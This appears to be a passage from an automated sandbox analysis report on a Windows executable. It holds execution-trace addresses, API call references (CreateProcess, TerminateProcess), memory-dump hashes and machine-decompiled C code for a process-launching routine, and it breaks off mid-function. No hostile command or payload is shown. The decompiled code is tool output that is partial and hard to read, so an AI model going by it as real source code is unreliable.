0x00080de4
0x00080de7
0x00080de7
0x00080deb
0x00080deb
0x00080dee
0x00080df0
0x00080e19
0x00080e19
0x00080e1e
0x00080e25
0x00080e2c
0x00080e37
0x00080e45
0x00080df2
0x00080df2
0x00080df5
0x00080df7
0x00080dfd
0x00080e0f
0x00080e0f
0x00080e11
0x00080e16
0x00000000
0x00080dff
0x00080dff
0x00080e02
0x00080e0a
0x00080e0d
0x00080e4b
0x00080e4b
0x00080e50
0x00080e51
0x00080e52
0x00080e53
0x00080e54
0x00080e55
0x00080e56
0x00080e57
0x00080e58
0x00080e59
0x00080e5a
0x00080e5b
0x00080e5c
0x00080e5d
0x00080e5e
0x00080e5f
0x00080e60
0x00080e61
0x00080e63
0x00080e65
0x00080e70
0x00080e74
0x00080e75
0x00080e76
0x00080e77
0x00080e7e
0x00080e82
0x00080e88
0x00080e8e
0x00080e91
0x00080e94
0x00080e97
0x00080e99
0x00080e9c
0x00080ea3
0x00080eaa
0x00080eb1
0x00080eb8
0x00080ebf
0x00080ec4
0x00080eca
0x00080ecd
0x00080ed3
0x00080edd
0x00080edf
0x00080ee2
0x00080ee4
0x00080eeb
0x00080eee
0x00080ef1
0x00080ef4
0x00080ef7
0x00080ef9
0x00080efb
0x00080efb
0x00080efe
0x00080f02
0x00080f04
0x00080f06
0x00080f06
0x00080f08
0x00080f0a
0x00080f10
0x00080f10
0x00080f1c
0x00080f21
0x00080f2a
0x00080f2d
0x00080f2e
0x00080f31
0x00080f34
0x00080f36
0x00080f38
0x00080f3b
0x00080f3d
0x00080f40
0x00080f46
0x00080f4d
0x00080f4f
0x00080f51
0x00080f53
0x00080f55
0x00080f59
0x00080f59
0x00080f55
0x00080f5e
0x00080f61
0x00080f65
0x00080f6a
0x00080f6d
0x00080f6f
0x00080f72
0x00080f75
0x00080f78
0x00080f7a
0x00080f7a
0x00080f7f
0x00080f82
0x00080f84
0x00000000
0x00000000
0x00080f86
0x00080f89
0x00080f90
0x00080f90
0x00080f92
0x00000000
0x00000000
0x00080f94
0x00080f96
0x00080f98
0x00080fb6
0x00080fb6
0x00080fb8
0x00000000
0x00080fba
0x00080fba
0x00080fbd
0x00080fc0
0x00080fc2
0x00000000
0x00080fc4
0x00080fc4
0x00000000
0x00080fc4
0x00080fc2
0x00080f9a
0x00080f9a
0x00080fa0
0x00080fa0
0x00080fa2
0x00000000
0x00000000
0x00080fa7
0x00080faa
0x00000000
0x00080fac
0x00080fac
0x00080faf
0x00080fb2
0x00080fb4
0x00000000
0x00000000
0x00000000
0x00000000
0x00080fb4
0x00000000
0x00080faa
0x00080fe3
0x00080fe3
0x00080fcb
0x00080fcb
0x00080fcd
0x00080fd2
0x00080fd5
0x00080fd8
0x00080fdb
0x00000000
0x00080fdb
0x00080fcd
0x00080feb
0x00080feb
0x00000000
0x00080feb
0x00080fe8
0x00000000
0x00080fc7
0x00080fc7
0x00080fc9
0x00000000
0x00080fc9
0x00080f10
0x00080fee
0x00080fee
0x00080ff2
0x00080ff5
0x00080ff7
0x00080ff7
0x00080ffc
0x00081010
0x00081015
0x00081018
0x0008101a
0x00081080
0x00081084
0x00081086
0x00081088
0x00081088
0x0008108a
0x0008108d
0x00081090
0x00081092
0x00081095
0x00081098
0x0008109a
0x0008109d
0x000810a3
0x000810aa
0x000810ac
0x000810ae
0x000810b0
0x000810b2
0x000810b6
0x000810b6
0x000810b2
0x000810b8
0x000810bb
0x000810be
0x000810c0
0x000810c6
0x000810cd
0x000810cf
0x000810d1
0x000810d3
0x000810d5
0x000810d9
0x000810d9
0x000810d5
0x000810de
0x000810e2
0x000810e5
0x000810e6
0x00000000
0x0008101c
0x0008101c
0x0008101f
0x00081021
0x00081024
0x00081026
0x00081026
0x00081028
0x0008102a
0x0008102d
0x00081030
0x00081034
0x00081034
0x00081037
0x0008103f
0x00081041
0x00081043
0x0008118a
0x00000000
0x00081049
0x0008104d
0x0008104f
0x00081051
0x00081053
0x00081056
0x00081059
0x0008105c
0x0008105e
0x0008105e
0x00081060
0x00081065
0x00081067
0x00081076
0x0008107b
0x000810eb
0x000810eb
0x000810ee
0x000810f0
0x000810f2
0x000810f5
0x000810f5
0x000810f8
0x000810fd
0x00081100
0x00081100
0x00081104
0x00081107
0x00081107
0x0008110a
0x0008110d
0x00081110
0x00081112
0x00081114
0x00081114
0x00081118
0x00081119
0x0008111b
0x0008111d
0x00081120
0x00081125
0x00081128
0x00081128
0x0008112b
0x0008112b
0x0008112f
0x0008112f
0x00081132
0x00081134
0x0008115d
0x0008115d
0x00081162
0x00081169
0x00081170
0x0008117b
0x00081189
0x00081136
0x00081136
0x00081139
0x0008113b
0x00081141
0x00081153
0x00081153
0x00081155
0x0008115a
0x00000000
0x00081143
0x00081143
0x00081146
0x0008114e
0x00081151
0x0008118f
0x0008118f
0x00081194
0x00081195
0x00081196
0x00081197
0x00081198
0x00081199
0x0008119a
0x0008119b
0x0008119c
0x0008119d
0x0008119e
0x0008119f
0x000811a0
0x000811a3
0x000811a5
0x000811b0
0x000811b1
0x000811b4
0x000811b5
0x000811b6
0x000811b7
0x000811be
0x000811c2
0x000811c8
0x000811cb
0x000811cd
0x000811d0
0x000811d7
0x000811da
0x000811e0
0x000811e0
0x000811e3
0x00000000
0x00000000
0x000811eb
0x000811f0
0x000811fb
0x000811fd
0x00081200
0x00081206
0x00081208
0x0008120a
0x00081231
0x00081232
0x00081238
0x0008123b
0x0008123d
0x00081245
0x00081248
0x0008120c
0x0008120f
0x00081212
0x00081214
0x00081217
0x00081219
0x00081219
0x0008121b
0x0008121f
0x00081221
0x00081229
0x0008122c
0x0008122c
0x0008120a
0x00081250
0x0008125e
0x00000000
0x00000000
0x00000000
0x00081151
0x00081141
0x00081134
0x00081043
0x00000000
0x00000000
0x00000000
0x00080e0d
0x00080dfd
0x00080df0
0x00080cfa
0x00080af7
0x00080af7
0x00000000
0x00080af7
0x00080af5
0x00080ae5
0x00080abc
0x0007eb13
0x0007eb69
0x0007eb69
0x0007eb74
0x0007eb9a
0x0007eb76
0x0007eb7b
0x0007eb81
0x0007eb86
0x0007eb8c
0x0007eb8c
0x0007eba2
0x0007eba7
0x0007ebad
0x0007ebba
0x0007ebba
0x0007eb0d
0x0007eafa
0x0007ea6c

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0007EAA5
CloseHandle.KERNEL32(000000FF), ref: 0007EAE1
CloseHandle.KERNEL32(000000FF), ref: 0007EAE5
GetLastError.KERNEL32(?,?,?,?,?,?), ref: 0007EB60

Part of subcall function 000564C0: TerminateProcess.KERNEL32(00000040,00000001,?,?,?,00000000,00000000,?,?,00062995), ref: 00056533
Part of subcall function 000564C0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00062995), ref: 0005655A
Part of subcall function 000564C0: CloseHandle.KERNEL32(00000040), ref: 00056568
Part of subcall function 000564C0: CloseHandle.KERNEL32(00000040), ref: 000565B7
Part of subcall function 000564C0: CloseHandle.KERNEL32(?), ref: 000565BC

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$ErrorLastProcess_free$CreateTerminate_abort
String ID:
API String ID: 2899271928-0
Opcode ID: fd86479ce7e6e1e32856eb75aa86a4b48a466a9e020c7ba769c0d6fb9269fdc5
Instruction ID: b7d49bf4ce0ec925f813d227cfcca20e0eb76b0fea9dae635c511e318c856762
Opcode Fuzzy Hash: fd86479ce7e6e1e32856eb75aa86a4b48a466a9e020c7ba769c0d6fb9269fdc5
Instruction Fuzzy Hash: 7261E172A01616EFD714DF68C880AAABBF0FF08310F148269E919977A1D776F854CBD1

Uniqueness

Uniqueness Score: 16.53%

Function 0007E570, Relevance: 6.1, APIs: 4, Instructions: 145
processCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0007E570(long* __ecx) {
				intOrPtr _v8;
				signed int _v16;
				long _v20;
				long* _v24;
				signed int _v28;
				signed int _v32;
				long* _v36;
				signed int _v40;
				signed int _v44;
				long* _v48;
				long* _v52;
				signed int _v56;
				long _v60;
				long* _v64;
				long _v68;
				long* _v72;
				long* _v76;
				signed int _v80;
				char _v84;
				char _v88;
				signed int _v92;
				signed int* _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v160;
				char _v176;
				char _v240;
				intOrPtr _v256;
				long* _v260;
				intOrPtr* _v264;
				intOrPtr* _v268;
				signed int _v300;
				char _v308;
				signed int _v312;
				signed int _v316;
				intOrPtr _v320;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				intOrPtr _v372;
				signed int _v376;
				intOrPtr* _v380;
				intOrPtr* _v384;
				signed int _v416;
				char _v424;
				signed int _v428;
				signed int _v432;
				intOrPtr _v436;
				intOrPtr _v444;
				signed int _v464;
				signed int _v468;
				signed int _v472;
				signed int _v476;
				signed int _v480;
				signed int _v492;
				signed int _v504;
				char _v512;
				intOrPtr _v516;
				signed int _v524;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t425;
				long _t429;
				int _t437;
				signed int _t441;
				signed int _t444;
				int _t451;
				signed int _t458;
				long _t462;
				int _t470;
				signed int _t474;
				signed int _t477;
				long _t481;
				long _t488;
				int _t490;
				signed int _t494;
				void* _t495;
				signed int _t498;
				signed int _t502;
				signed int* _t506;
				signed int _t514;
				void* _t515;
				void* _t518;
				signed int _t519;
				signed int _t525;
				signed int* _t529;
				signed int _t537;
				void* _t538;
				void* _t541;
				signed int _t542;
				signed int _t548;
				signed int _t551;
				intOrPtr* _t552;
				signed short _t553;
				signed int _t558;
				signed int _t560;
				signed int _t562;
				signed int _t563;
				char _t564;
				void* _t567;
				intOrPtr* _t576;
				signed int _t577;
				signed int _t580;
				intOrPtr* _t582;
				signed int _t584;
				signed int _t586;
				signed int* _t588;
				intOrPtr* _t589;
				long* _t590;
				void* _t593;
				intOrPtr* _t601;
				signed int _t602;
				intOrPtr* _t606;
				signed int _t608;
				signed int _t620;
				signed int _t631;
				signed int _t633;
				signed int _t649;
				void* _t652;
				void* _t654;
				void* _t656;
				signed int _t658;
				void* _t659;
				long* _t660;
				signed int* _t661;
				signed int _t663;
				signed int* _t664;
				long* _t667;
				signed int _t668;
				signed int* _t670;
				long _t674;
				long* _t675;
				WCHAR* _t679;
				signed int _t680;
				long* _t681;
				signed int* _t682;
				long _t686;
				long* _t687;
				signed int* _t688;
				long _t692;
				signed int _t693;
				signed int _t694;
				signed int _t695;
				signed int _t697;
				intOrPtr* _t698;
				signed int _t701;
				signed int _t702;
				intOrPtr _t706;
				signed int _t707;
				signed int _t708;
				signed int _t710;
				signed int _t711;
				signed int _t718;
				signed int _t720;
				signed int _t722;
				intOrPtr* _t724;
				signed int _t726;
				signed int _t728;
				intOrPtr* _t729;
				signed int _t730;
				signed int _t732;
				intOrPtr* _t734;
				signed int _t736;
				signed int _t738;
				intOrPtr* _t739;
				signed int* _t743;
				signed int* _t747;
				intOrPtr _t749;
				signed int* _t754;
				signed int _t756;
				WCHAR* _t757;
				signed int _t758;
				signed int _t759;
				signed int _t760;
				signed int _t761;
				signed int* _t763;
				signed int _t765;
				signed int _t766;
				signed int* _t767;
				signed int _t770;
				intOrPtr _t772;
				signed int _t774;
				intOrPtr _t777;
				long* _t780;
				long* _t782;
				long* _t784;
				long* _t786;
				signed int _t788;
				intOrPtr* _t790;
				intOrPtr* _t791;
				intOrPtr* _t793;
				signed int _t794;
				intOrPtr _t798;
				signed int _t800;
				intOrPtr* _t801;
				void* _t802;
				intOrPtr* _t803;
				void* _t807;
				void* _t810;
				void* _t813;
				void* _t816;
				signed int _t817;
				void* _t820;
				intOrPtr* _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t826;
				intOrPtr* _t827;
				signed int* _t828;
				signed int _t829;
				signed int _t830;
				signed int _t832;
				signed int _t833;
				intOrPtr* _t837;
				signed int _t841;
				signed int _t844;
				signed int _t847;
				signed int _t849;
				signed int _t851;
				signed int _t853;
				void* _t857;
				signed int _t860;
				void* _t861;
				void* _t864;
				signed int _t867;
				void* _t868;
				signed int _t873;
				void* _t874;
				signed int _t877;
				void* _t878;
				signed int _t880;
				signed int _t883;
				signed int* _t884;
				signed int _t888;
				signed int* _t889;
				intOrPtr _t892;

				_t652 = _t857;
				_t860 = (_t857 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t652 + 4));
				_t841 = _t860;
				_push(0xffffffff);
				_push(0x12ff08);
				_push( *[fs:0x0]);
				_push(_t652);
				_t861 = _t860 - 0x20;
				_t425 =  *0x16f170; // 0xd529e887
				_push(_t425 ^ _t841);
				 *[fs:0x0] =  &_v24;
				_t780 = __ecx;
				_t756 =  *(__ecx + 0x48);
				_t429 =  *( *(__ecx + 0x74));
				if(_t756 != 0) {
					L9:
					_t670 =  *( *(_t780[0x1d]) + 0x34);
					 *_t670 = _t756;
					_t670[1] = _t780[0x13];
					E00056420( *((intOrPtr*)(_t652 + 8)));
					goto L21;
				} else {
					if( *((intOrPtr*)(_t429 + 0x30)) == _t756 ||  *((intOrPtr*)(_t429 + 0x28)) != _t756) {
						_t674 = _t429;
						if( *((intOrPtr*)(_t429 + 0x14)) >= 0x10) {
							_t674 =  *_t429;
						}
						_t780[0x1b] = _t674;
						_t429 = _t429 + 0x18;
					}
					if( *((intOrPtr*)(_t429 + 0x14)) >= 0x10) {
						_t429 =  *_t429;
					}
					_t780[0xc] = _t780[0xc] | 0x00000001;
					_t780[0x1a] = _t429;
					if(_t756 == 0) {
						_t19 =  &(_t780[0x1e]); // 0x1078
						_t20 =  &(_t780[1]); // 0x1004
						_t437 = CreateProcessA(_t780[0x1b], _t780[0x1a], _t780[0x16], _t780[0x17], _t780[0x18],  *_t780, _t780[0x1c], _t780[0x19], _t20, _t19);
						asm("movups xmm0, [esi]");
						_t675 = _t780[0x15];
						_v32 = _t437;
						asm("movups [ebp-0x30], xmm0");
						__eflags = _t675;
						if(_t675 != 0) {
							asm("lock inc dword [ecx+0x4]");
							_t675 = _t780[0x15];
						}
						_v44 = _t780[0x14];
						_v40 = _t675;
						_v36 = 1;
						_v16 = 0;
						_t807 = CloseHandle;
						CloseHandle(0xffffffff);
						CloseHandle(0xffffffff);
						__eflags = _v32;
						_push(0x17a3a0);
						_push(E000735B0);
						_push(0x17a40c);
						if(_v32 == 0) {
							_t441 = E000D7269();
							_t864 = _t861 + 0xc;
							__eflags = _t441;
							if(_t441 == 0) {
								goto L23;
							} else {
								_t780[0x12] = GetLastError();
								goto L17;
							}
						} else {
							_t780[0x12] = 0;
							_t649 = E000D7269();
							_t864 = _t861 + 0xc;
							__eflags = _t649;
							if(_t649 == 0) {
								E0010F5C4(_t652, _t675, _t756, _t780);
								L23:
								E0010F5C4(_t652, _t675, _t756, _t780);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(_t652);
								_t654 = _t864;
								_t867 = (_t864 - 0x00000008 & 0xfffffff8) + 4;
								_push(_t841);
								_v80 =  *((intOrPtr*)(_t654 + 4));
								_t844 = _t867;
								_push(0xffffffff);
								_push(0x12fed8);
								_push( *[fs:0x0]);
								_push(_t654);
								_t868 = _t867 - 0x28;
								_push(_t807);
								_push(_t780);
								_t444 =  *0x16f170; // 0xd529e887
								_push(_t444 ^ _t844);
								 *[fs:0x0] =  &_v96;
								_t782 = _t675;
								__eflags = _t782[0x12];
								_t757 =  *(_t782[0x1d]);
								if(_t782[0x12] != 0) {
									E00056420( *((intOrPtr*)(_t654 + 8)));
									goto L43;
								} else {
									__eflags = _t757[0x18];
									if(_t757[0x18] == 0) {
										L30:
										__eflags = _t757[0xa] - 8;
										_t679 = _t757;
										if(_t757[0xa] >= 8) {
											_t679 =  *_t757;
										}
										_t757 =  &(_t757[0xc]);
										_t782[0x1b] = _t679;
										__eflags = _t757[0xa] - 8;
										if(_t757[0xa] >= 8) {
											_t757 =  *_t757;
										}
										_t782[0x1a] = _t757;
									} else {
										__eflags = _t757[0x14];
										if(_t757[0x14] != 0) {
											goto L30;
										} else {
											__eflags = _t757[0xa] - 8;
											if(_t757[0xa] >= 8) {
												_t757 =  *_t757;
											}
											_t782[0x1a] = _t757;
											_t679 = _t782[0x1b];
										}
									}
									_t782[0xc] = _t782[0xc] | 0x00000001;
									_t451 = CreateProcessW(_t679, _t757, _t782[0x16], _t782[0x17], _t782[0x18],  *_t782, _t782[0x1c], _t782[0x19],  &(_t782[1]),  &(_t782[0x1e]));
									asm("movups xmm0, [esi]");
									_t680 = _t782[0x15];
									_v44 = _t451;
									asm("movups [ebp-0x34], xmm0");
									__eflags = _t680;
									if(_t680 != 0) {
										asm("lock inc dword [ecx+0x4]");
										_t680 = _t782[0x15];
									}
									_v60 = _t782[0x14];
									_v56 = _t680;
									_v52 = 1;
									_v28 = 0;
									_t810 = CloseHandle;
									CloseHandle(0xffffffff);
									CloseHandle(0xffffffff);
									__eflags = _v44;
									if(_v44 == 0) {
										L45:
										_t681 =  &_v48;
										E0007FAC0(_t681, __eflags, E00056150(_t681, _t680));
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t654);
										_t656 = _t868;
										_t873 = (_t868 - 0x00000008 & 0xfffffff8) + 4;
										_push(_t844);
										_v160 =  *((intOrPtr*)(_t656 + 4));
										_t847 = _t873;
										_push(0xffffffff);
										_push(0x12ff08);
										_push( *[fs:0x0]);
										_push(_t656);
										_t874 = _t873 - 0x20;
										_push(_t810);
										_push(_t782);
										_t458 =  *0x16f170; // 0xd529e887
										_push(_t458 ^ _t847);
										 *[fs:0x0] =  &_v176;
										_t784 = _t681;
										_t758 = _t784[0x12];
										_t462 =  *(_t784[0x1d]);
										__eflags = _t758;
										if(_t758 != 0) {
											L55:
											_t682 =  *( *(_t784[0x1d]) + 0x34);
											 *_t682 = _t758;
											_t682[1] = _t784[0x13];
											E00056420( *((intOrPtr*)(_t656 + 8)));
											goto L67;
										} else {
											__eflags =  *((intOrPtr*)(_t462 + 0x30)) - _t758;
											if( *((intOrPtr*)(_t462 + 0x30)) == _t758) {
												L49:
												__eflags =  *((intOrPtr*)(_t462 + 0x14)) - 8;
												_t686 = _t462;
												if( *((intOrPtr*)(_t462 + 0x14)) >= 8) {
													_t686 =  *_t462;
												}
												_t784[0x1b] = _t686;
												_t462 = _t462 + 0x18;
												__eflags = _t462;
											} else {
												__eflags =  *((intOrPtr*)(_t462 + 0x28)) - _t758;
												if( *((intOrPtr*)(_t462 + 0x28)) != _t758) {
													goto L49;
												}
											}
											__eflags =  *((intOrPtr*)(_t462 + 0x14)) - 8;
											if( *((intOrPtr*)(_t462 + 0x14)) >= 8) {
												_t462 =  *_t462;
											}
											_t784[0xc] = _t784[0xc] | 0x00000001;
											_t784[0x1a] = _t462;
											__eflags = _t758;
											if(_t758 == 0) {
												_t470 = CreateProcessW(_t784[0x1b], _t784[0x1a], _t784[0x16], _t784[0x17], _t784[0x18],  *_t784, _t784[0x1c], _t784[0x19],  &(_t784[1]),  &(_t784[0x1e]));
												asm("movups xmm0, [esi]");
												_t687 = _t784[0x15];
												_v56 = _t470;
												asm("movups [ebp-0x30], xmm0");
												__eflags = _t687;
												if(_t687 != 0) {
													asm("lock inc dword [ecx+0x4]");
													_t687 = _t784[0x15];
												}
												_v68 = _t784[0x14];
												_v64 = _t687;
												_v60 = 1;
												_v40 = 0;
												_t813 = CloseHandle;
												CloseHandle(0xffffffff);
												CloseHandle(0xffffffff);
												__eflags = _v56;
												_push(0x17a3a0);
												_push(E000735B0);
												_push(0x17a40c);
												if(_v56 == 0) {
													_t474 = E000D7269();
													_t877 = _t874 + 0xc;
													__eflags = _t474;
													if(_t474 == 0) {
														goto L69;
													} else {
														_t784[0x12] = GetLastError();
														goto L63;
													}
												} else {
													_t784[0x12] = 0;
													_t631 = E000D7269();
													_t877 = _t874 + 0xc;
													__eflags = _t631;
													if(_t631 == 0) {
														E0010F5C4(_t656, _t687, _t758, _t784);
														L69:
														E0010F5C4(_t656, _t687, _t758, _t784);
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														asm("int3");
														_push(_t847);
														_t849 = _t877;
														_push(0xffffffff);
														_push(0x12ff38);
														_push( *[fs:0x0]);
														_t878 = _t877 - 0x20;
														_push(_t813);
														_push(_t784);
														_t477 =  *0x16f170; // 0xd529e887
														_push(_t477 ^ _t849);
														 *[fs:0x0] =  &_v240;
														_t786 = _t687;
														_t759 = _t786[0x12];
														_t481 =  *(_t786[0x1d]);
														__eflags = _t759;
														if(_t759 != 0) {
															L86:
															_t688 =  *( *(_t786[0x1d]) + 0x34);
															 *_t688 = _t759;
															_t688[1] = _t786[0x13];
															E00056420(_v32);
															goto L93;
														} else {
															__eflags =  *((intOrPtr*)(_t481 + 0x30)) - _t759;
															if( *((intOrPtr*)(_t481 + 0x30)) == _t759) {
																L81:
																__eflags =  *((intOrPtr*)(_t481 + 0x14)) - 0x10;
																_t692 = _t481;
																if( *((intOrPtr*)(_t481 + 0x14)) >= 0x10) {
																	_t692 =  *_t481;
																}
																_t488 = _t481 + 0x18;
																_t786[0x1b] = _t692;
																__eflags =  *((intOrPtr*)(_t488 + 0x14)) - 0x10;
																if( *((intOrPtr*)(_t488 + 0x14)) >= 0x10) {
																	_t488 =  *_t488;
																}
																_t786[0x1a] = _t488;
																__eflags = _t759;
																if(_t759 == 0) {
																	goto L76;
																} else {
																	goto L86;
																}
															} else {
																__eflags =  *((intOrPtr*)(_t481 + 0x28)) - _t759;
																if( *((intOrPtr*)(_t481 + 0x28)) != _t759) {
																	goto L81;
																} else {
																	__eflags =  *((intOrPtr*)(_t481 + 0x14)) - 0x10;
																	if( *((intOrPtr*)(_t481 + 0x14)) >= 0x10) {
																		_t481 =  *_t481;
																	}
																	_t786[0x1a] = _t481;
																	L76:
																	_t490 = CreateProcessA(_t786[0x1b], _t786[0x1a], _t786[0x16], _t786[0x17], _t786[0x18],  *_t786, _t786[0x1c], _t786[0x19],  &(_t786[1]),  &(_t786[0x1e]));
																	asm("movups xmm0, [esi]");
																	_t693 = _t786[0x15];
																	_v56 = _t490;
																	asm("movups [ebp-0x2c], xmm0");
																	__eflags = _t693;
																	if(_t693 != 0) {
																		asm("lock inc dword [ecx+0x4]");
																		_t693 = _t786[0x15];
																	}
																	_v68 = _t786[0x14];
																	_v64 = _t693;
																	_v60 = 1;
																	_v44 = 0;
																	_t816 = CloseHandle;
																	CloseHandle(0xffffffff);
																	CloseHandle(0xffffffff);
																	__eflags = _v56;
																	_push(0x17a3a0);
																	_push(E000735B0);
																	_push(0x17a40c);
																	if(_v56 == 0) {
																		_t494 = E000D7269();
																		_t880 = _t878 + 0xc;
																		__eflags = _t494;
																		if(_t494 == 0) {
																			goto L95;
																		} else {
																			_t786[0x12] = GetLastError();
																			goto L89;
																		}
																	} else {
																		_t786[0x12] = 0;
																		_t620 = E000D7269();
																		_t880 = _t878 + 0xc;
																		__eflags = _t620;
																		if(_t620 == 0) {
																			E0010F5C4(_t656, _t693, _t759, _t786);
																			L95:
																			_t495 = E0010F5C4(_t656, _t693, _t759, _t786);
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			_t694 =  *(_t693 + 0xc);
																			_push(_t786);
																			_t788 = _t694;
																			__eflags = _t788;
																			if(_t788 == 0) {
																				L106:
																				return _t495;
																			} else {
																				_push(_t816);
																				_t817 =  *_t788;
																				__eflags = _t817;
																				if(_t817 == 0) {
																					L105:
																					_push(0x14);
																					_t495 = E000ED2D0(_t788);
																					goto L106;
																				} else {
																					_push(_t656);
																					_t658 =  *(_t788 + 4);
																					__eflags = _t817 - _t658;
																					if(_t817 != _t658) {
																						do {
																							_t197 = _t817 + 4; // 0x7757ea1c
																							E00053860(_t197);
																							_t817 = _t817 + 8;
																							__eflags = _t817 - _t658;
																						} while (_t817 != _t658);
																						_t817 =  *_t788;
																					}
																					_t498 =  *(_t788 + 8) - _t817 & 0xfffffff8;
																					_pop(_t659);
																					__eflags = _t498 - 0x1000;
																					if(_t498 < 0x1000) {
																						L104:
																						_push(_t498);
																						E000ED2D0(_t817);
																						 *_t788 = 0;
																						_t880 = _t880 + 8;
																						 *(_t788 + 4) = 0;
																						 *(_t788 + 8) = 0;
																						goto L105;
																					} else {
																						_t695 =  *(_t817 - 4);
																						_t498 = _t498 + 0x23;
																						_t820 = _t817 - _t695 + 0xfffffffc;
																						__eflags = _t820 - 0x1f;
																						if(__eflags > 0) {
																							E0010F44B(_t659, _t695, _t759, _t788, __eflags);
																							asm("int3");
																							asm("int3");
																							asm("int3");
																							asm("int3");
																							asm("int3");
																							asm("int3");
																							_push(_t849);
																							_t851 = _t880;
																							_push(0xffffffff);
																							_push(0x12ffc8);
																							_push( *[fs:0x0]);
																							_push(_t659);
																							_push(_t820);
																							_push(_t788);
																							_t502 =  *0x16f170; // 0xd529e887
																							_push(_t502 ^ _t851);
																							 *[fs:0x0] =  &_v308;
																							_v312 = _t695;
																							_t790 = _v268;
																							_t821 = _v264;
																							_t660 = _v260;
																							_push(8);
																							_v320 = _v256;
																							_v360 = 0;
																							_v356 = 0;
																							_v352 = 0;
																							_v348 = 0;
																							_v344 = 0;
																							_t506 = E000ECF08(_t821, __eflags);
																							_v360 = _t506;
																							_t883 = _t880 - 0x38 + 4;
																							 *_t506 = 0;
																							_t506[1] = 0;
																							 *_v360 =  &_v360;
																							_t760 = _v312;
																							_t508 = _t760;
																							_v300 = 0;
																							_v316 = _t760;
																							__eflags =  *((intOrPtr*)(_t760 + 0x14)) - 0x10;
																							if(__eflags >= 0) {
																								_t508 =  *_t760;
																								_v64 =  *_t760;
																							}
																							_t697 = _t760;
																							if(__eflags >= 0) {
																								_t697 =  *_t760;
																							}
																							__eflags = _t790 - _t821;
																							if(_t790 != _t821) {
																								while(1) {
																									L113:
																									E000882E0( &_v76,  &_v108, _t697, _t508, _t697, _t790);
																									_push(_v68);
																									_t777 = _v96 + _v92;
																									_push(_t660);
																									_t883 = _t883 - 0xc;
																									_v64 = _v76;
																									_t601 = _t821;
																									_t736 = _t883;
																									_v72 = _t601;
																									_t803 = _t601;
																									_t602 = _v108;
																									 *_t736 = 0;
																									 *(_t736 + 4) = 0;
																									__eflags = _t602;
																									if(_t602 != 0) {
																										_t608 =  *_t602;
																										__eflags = _t608;
																										if(_t608 != 0) {
																											 *_t736 =  *_t608;
																										}
																									}
																									 *((intOrPtr*)(_t736 + 8)) = _t777;
																									_push( &_v88);
																									E00088430();
																									_t760 = _v60;
																									_t738 = _t760;
																									__eflags =  *((intOrPtr*)(_t760 + 0x14)) - 0x10;
																									if( *((intOrPtr*)(_t760 + 0x14)) >= 0x10) {
																										_t738 =  *_t760;
																									}
																									_t238 = _t760 + 0x10; // 0x1df4b8ff
																									_t606 =  *_t238 + _t738;
																									__eflags = _t803 - _t606;
																									if(_t803 == _t606) {
																										goto L129;
																									}
																									_t668 = _v32;
																									_t739 = _v36;
																									while(1) {
																										__eflags = _t739 - _t668;
																										if(_t739 == _t668) {
																											break;
																										}
																										_t821 = _t803;
																										__eflags = _t803 - _t606;
																										if(_t803 == _t606) {
																											L126:
																											__eflags = _t739 - _t668;
																											if(_t739 == _t668) {
																												goto L132;
																											} else {
																												_t739 = _v36;
																												_t803 = _t803 + 1;
																												__eflags = _t803 - _t606;
																												if(_t803 != _t606) {
																													continue;
																												} else {
																													_t760 = _v60;
																													goto L129;
																												}
																											}
																										} else {
																											asm("o16 nop [eax+eax]");
																											while(1) {
																												__eflags = _t739 - _t668;
																												if(_t739 == _t668) {
																													break;
																												}
																												__eflags =  *_t821 -  *_t739;
																												if( *_t821 !=  *_t739) {
																													goto L126;
																												} else {
																													_t821 = _t821 + 1;
																													_t739 = _t739 + 1;
																													__eflags = _t821 - _t606;
																													if(_t821 != _t606) {
																														continue;
																													} else {
																														goto L126;
																													}
																												}
																												goto L134;
																											}
																											L132:
																											_t760 = _v60;
																											L130:
																											__eflags = _t790 - _t821;
																											if(_t790 != _t821) {
																												_t660 = _v24;
																												_t697 = _v72;
																												_v68 = _v20;
																												_t508 = _v64;
																												goto L113;
																											}
																										}
																										L134:
																										_t697 = _v72;
																										goto L135;
																									}
																									_t760 = _v60;
																									goto L134;
																									L129:
																									_t790 = _t606;
																									_t821 = _t606;
																									goto L130;
																								}
																							}
																							L135:
																							__eflags =  *((intOrPtr*)(_t760 + 0x14)) - 0x10;
																							_t822 = _t760;
																							if( *((intOrPtr*)(_t760 + 0x14)) >= 0x10) {
																								_t822 =  *_t760;
																							}
																							_t252 = _t760 + 0x10; // 0x1df4b8ff
																							_t253 = _t760 + 0x10; // 0x12ffd8
